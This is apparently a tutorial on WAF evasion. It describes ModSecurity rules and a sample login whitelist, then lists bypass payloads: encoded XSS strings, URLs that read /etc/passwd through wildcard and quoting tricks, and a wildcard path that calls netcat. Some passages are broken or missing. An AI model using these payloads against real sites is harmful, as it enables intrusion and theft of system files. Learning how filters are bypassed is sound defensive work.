WAF Evasion Techniques
WAF Evasion Techniques
WAF Evasion Techniques
Introduction
What you need to know about WAF evasion techniques before we start is that this is a topic that is VERY
hard to describe properly. WAFs are super diverse and research into them is sparse. All of this is because a
WAF can be configured just like any networking component. The configuration can differ from target to
target and this is a real challenge. We will first explore how WAFs work so we can design a proper attack
technique. You need to know your enemy before you can fight it.
The big advantage of this method is that we can easily create a secure environment without having all the
knowledge about WAFs in-house. We also don't need to worry about hosting another server since the WAF
operates in the cloud.
Cloud-based + Auto-Provisioned
Deeper investigations
I think it's time we look at exactly how to install one of these WAFs and what it entails. A practical example
will give us more of an insight into how these mysterious WAFs work. For our investigations we will be
looking at ModSecurity by OWASP with apache but we can also install ModSecurity with NGinx for
example.
ModSecurity is a security module for web servers like apache which you can embed to increase your
security levels. We will look much deeper into this in the following chapters because i want you to
understand your enemy!
ModSecurity works on a blacklist basis which means it will filter out any request that matches a rule from
one of the included rulesets. This adds a layer of complexity we will discus later on.
We can pick which rulesets we want to include and ModSecurity has a handy folder structure for us which
allows us to easily include pre-defined rulesets or even make our own.
These rules are not that hard to read as you can see but they can be quite difficult to write. Not only
because the syntax is a bit confusing but also because we need to write really strong rules to catch all the
possible workarounds that hackers come up with. Another layer of complexity is added by the fact that
hackers can find bypasses for these rules almost as fast as they are pushed out. A last layer of complexity
can be found in the fact that there are so many technologies and combinations of those technologies into
technology stacks that it's impossible to catch everything.
All of these complexities make rulesets one of the most sensitive parts of a WAF and we have to spend a
lot of time designing the perfect ruleset and we maybe even need to define some custom rules. Let's have
a look at one of these rules and rip them apart to see what is filtered and how a WAF filters it.
Rules
In this rule we want to prevent the user from surfing to /phpmyadmin on our webserver.
In the above SecRule (rule) we can see how it's built up:
We do NOT want the user to try and surf to /phpmyadmin so we can indicate that as a string. If we
include "/phpmyadmin" then ModSecurity will filter out any requests that contain that specific value
because of the next bullet item
The keyword "deny" in the part "...phase:1,deny,log,..." will allow us to deny those requests as
discussed above. We could also "allow" the specific request.
We need to give an id to ever rule in a ruleset. It needs to be unique to the ruleset but can be the same
as other rules in other files.
the keyword "t:lowercase" will convert the entire request in lowercase which will stop attackers who
user a mix of lower and uppercase characters. If the developer of the rule forgets this then we have a
WAF bypass by just using uppercase characters here. For example if the "t:lowercase" did not exist
then "/Phpmyadmin" would be allowed as it would not match the litteral string.
The t:normalizePathWin property will also apply further normalizations such a removing subdirectories
and deobfuscation of the request. This is what will normalize our ???/???? (wildcard) attack strings.
If the request is blocked it has to be logged due to the "log" property. The message to be used in the
logs when this happens is defined by the msg: parameter.
So as you can see these rules do not have to be complicated. We can also add multiline rules ofcourse.
Whitelists
Besides blacklisting we can also use the technique of whitelisting where we will only allow requests and
responses that match a pattern which is described in the ruleset.
Whitelisting does not mean that we have to need to have a list of strictly defined rules but rather a set of
patters just like blacklists. We can also work work with patterns which allows us a very big range of
flexibitility however whitelisting solutions are almost never chosen because you will have to define rules for
every request or response that can be incoming or outgoing.
Let's have a look at a typical whitelist setup as the tutorial at netnea outlines for a login page.
SecMarker BEGIN_WHITELIST_login
# START whitelisting block for URI /login. This block will allow the /login URLs
SecRule REQUEST_URI "!@beginsWith /login" \
"id:11001,phase:1,pass,t:lowercase,nolog,skipAfter:END_WHITELIST_login"
SecRule REQUEST_URI "!@beginsWith /login" \
"id:11002,phase:2,pass,t:lowercase,nolog,skipAfter:END_WHITELIST_login"
# Validate HTTP method. We want to make sure only GET HEAD POST OPTIONS are executed and not things like POST and PU
T. If only of those methods is attempted we will log a new line.
SecRule REQUEST_METHOD "!@pm GET HEAD POST OPTIONS" \
"id:11100,phase:1,deny,status:405,log,tag:'Login Whitelist',\
msg:'Method %{MATCHED_VAR} not allowed'"
# Validate URIs to make sure URIs for the resources such as CSS and JS files are allowed.
SecRule REQUEST_FILENAME "@beginsWith /login/static/css" \
SecMarker END_WHITELIST_URIBLOCK_login
# Validate parameter names. This makes sure the parameters can only be either username|password|sectoken
SecRule ARGS_NAMES "!@rx ^(username|password|sectoken)$" \
"id:11300,phase:2,deny,log,tag:'Login Whitelist',\
msg:'Unknown parameter: %{MATCHED_VAR_NAME}'"
# Validate each parameter's uniqueness. Only allow the request IF the parameters only appear one time in the URL. If
a parameter appeared more than one time like /login?username=1 would be allowed but /login?username=1&username=2 wou
ld be denied.
SecRule &ARGS:username "@gt 1" \
"id:11400,phase:2,deny,log,tag:'Login Whitelist',\
msg:'%{MATCHED_VAR_NAME} occurring more than once'"
SecRule &ARGS:password "@gt 1" \
"id:11401,phase:2,deny,log,tag:'Login Whitelist',\
msg:'%{MATCHED_VAR_NAME} occurring more than once'"
SecRule &ARGS:sectoken "@gt 1" \
"id:11402,phase:2,deny,log,tag:'Login Whitelist',\
msg:'%{MATCHED_VAR_NAME} occurring more than once'"
# Here we check if every parameter matches the requirements we set up for it. For example a username should only cont
ain alpahnumeric character or special characters and should at least be 1 character long and a maximum of 64 characte
rs. (ARGS:username "!@rx ^[a-zA-Z0-9.@_-]{1,64}$")
SecRule ARGS:username "!@rx ^[a-zA-Z0-9.@_-]{1,64}$" \
"id:11500,phase:2,deny,log,tag:'Login Whitelist',\
msg:'Invalid parameter format: %{MATCHED_VAR_NAME} (%{MATCHED_VAR})'"
SecRule ARGS:sectoken "!@rx ^[a-zA-Z0-9]{32}$" \
"id:11501,phase:2,deny,log,tag:'Login Whitelist',\
msg:'Invalid parameter format: %{MATCHED_VAR_NAME} (%{MATCHED_VAR})'"
SecRule ARGS:password "@gt 64" \
"id:11502,phase:2,deny,log,t:length,tag:'Login Whitelist',\
msg:'Invalid parameter format: %{MATCHED_VAR_NAME} too long (%{MATCHED_VAR} bytes)'"
SecRule ARGS:password "@validateByteRange 33-244" \
"id:11503,phase:2,deny,log,tag:'Login Whitelist',\
msg:'Invalid parameter format: %{MATCHED_VAR_NAME} (%{MATCHED_VAR})'"
SecMarker END_WHITELIST_login
We can see a couple of type of rules in here and we notice that we can achieve a lot with these types of
rules but we can also notice that the strength of our validations is strongly influenced by the strength of
our rulesets.
WAF bypasses
So now that we know how a WAF works and how it can be configured we can finally think about attacking
it. The main functionality seems to be to check our input and validate that it is safe. Knowing this there
/?q=<javascript:alert(document.cookie)>
This is because the WAF might be set up to block anything containing alert(*) or anything containing
"javascript". If we know this we might be able to fool the server by encoding our payload for example. In
HTML we can indicate that we are talking about base64 using the <data> tag. In there we can indicate
that we are working with Base64.
/?q=<data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=
Using this technique we might be able to pass by some of the dumber WAFs that will look at this attack
string and don't see the word javascript or alert which will result in the attack string being allowed. The
server will then decode the message as expected resulting in an alert.
https://site.com/index.php?%20file=cat /etc/paswd
https://site.com/index.php?file=cat /etc/pa%20swd
In this situation we are relying on the fact that PHP will replace whitespaces in the URL with underscores.
%20 is the url encoded value for a space.
https://site.com/index.php?%file=cat /etc/paswd
https://site.com/index.php?file=cat /etc/pas%wd
ASPX has a similar strange behavior where it will just remove the % sign if it's not followed by 2 numbers.
This will allow us to pull some cool tricks when a waf does not reject unknown parameters.
Other techniques
Some WAFs will see this string when they are looking for "src=x" or "= alert" and they will only look at that
literal string. Since our attack string contains spaces it will be allowed and later on the webserver will
remove the spaces for us and pop our alert.
https://site.com/index.php?file=cat /etc/pa\swd
https://site.com/index.php?file=cat /etc/pa*swd
https://site.com/index.php?file=cat /etc/pa**swd
https://site.com/index.php?file=cat /etc/pa's'wd
https://site.com/index.php?file=cat /etc/pa"s"wd
We can think of several variation of these special characters which server a purpose in linux.
We can do exactly the thing to commands when we enter the above command into bash it would just
ignore the single quotes.
https://site.com/index.php?file=cat /e??/p????
https://site.com/index.php?file=cat /etc/?????
https://site.com/index.php?file=cat /???/paswd
The above commands will all grab the /etc/paswd file because of how bash works with wildcards. It will try
to grab the first file it sees that matches those criteria and if we craft our attack string well enough we can
even execute commands. We just have to grab them from /usr/bin.
https://site.com/index.php?command=/???/???/nc
Due to the way default unix is set up, usually "/???/???" will lead to usr/bin and if we use our imagination we
can get very far with just question marks.
Resources
https://interact.f5.com/rs/653SMC783/images/EBOOKSEC242055496-which-waf-is-right-product-
FNL.pdf
https://www.f5.com/services/resources/glossary/web-application-firewall#:~:text=A WAF protects your
web,and what traffic is safe.
https://owasp.org/www-community/xss-filter-evasion-cheatsheet
https://campus.barracuda.com/product/webapplicationfirewall/doc/4259853/configuring-url-
normalization/
https://www.netnea.com/cms/apache-tutorial-6_embedding-modsecurity/
https://www.netnea.com/cms/apache-tutorial-7_including-modsecurity-core-rules/